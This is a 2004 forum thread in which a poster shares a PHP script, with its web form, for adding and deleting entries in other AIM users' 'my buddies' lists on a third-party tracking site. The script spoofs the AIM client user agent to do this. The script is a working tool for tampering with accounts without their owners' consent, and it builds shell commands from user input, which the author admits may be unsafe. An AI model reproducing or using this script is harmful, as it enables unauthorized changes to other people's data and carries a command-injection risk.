Become a MacRumors Supporter for $50/year with no ads, ability to filter front page stories, and private forums.

PCheese

macrumors member
Original poster
Aug 9, 2004
50
0
Hmm, where to post this...

You know that 'my buddies' link some AIM users have started putting on their profiles? Well here's a little php script you can use to mess with their lists...

This was cooked up really quickly by myself, so it has undergone limited testing. Be careful, it uses shell commands, so although I believe I've escaped them relatively well, they may be a security risk to your server. Use this code at your own risk.

After school tomorrow I'll have a bit more time to clean it up and add some more features I have in mind... :)

Have fun.

Code:
<?php
if(isset($_REQUEST['source'])) {
    highlight_file($_SERVER['SCRIPT_FILENAME']);
    exit;
}
$AIMAgent = 'AIM/30 (Mozilla 1.24b; Windows; I; 32-bit)';
if(isset($_REQUEST['delurl'])) {
    $parsed = parse_url($_REQUEST['urldelete']);
    $site = escapeshellcmd($parsed['host'].$parsed['path']);
    $queryStr = str_replace('\&', '&', escapeshellcmd($parsed['query']));
    passthru("curl -d '$queryStr' -G -A '$AIMAgent' $site");
    exit;
}

if(isset($_REQUEST['add']) || isset($_REQUEST['viewadmin'])) {
    $person1 = escapeshellcmd($_REQUEST['buddy']);
    if(isset($_REQUEST['viewadmin'])) {
        $person2 = $person1;
    }else{
        $person2 = escapeshellcmd($_REQUEST['sntoadd']);
    }
    passthru("curl -d 'file=$person1&name=$person2' -G -A '$AIMAgent' http://buddytracker.us/buddies.php");
    exit;
}
?><html>
<head>
<title>hax0r</title>
</head>
<body>
<h1>"My Buddies" Link Editor</h1>
<h5>Brought to you by <a href="http://pcheese.ferazel.net/">PCheese</a></h5>
<form method="get" action="<?php echo $_SERVER['PHP_SELF']; ?>">
Modify the link of which AIM screenname?<br>
<input type="text" name="buddy"><br><br>
Screenname to add?<br>
<input type="text" name="sntoadd" size="16"><br>
<input type="submit" name="add" value="Add Screenname">        <input type="submit" name="viewadmin" value="View Admin">
<br>
<br>To delete a user, copy the link into here and press delete:
<input type="text" name="urldelete">
<input type="submit" name="delurl" value="Delete">
</form>
<br>
<a href="?source=go">source code</a>
</body>
</html>
 
The "Mac Help/Questions and Tips" forum is the most appropriate home for this "tip".

Thanks for posting it!
 
Register on MacRumors! This sidebar will go away, and you'll see fewer ads.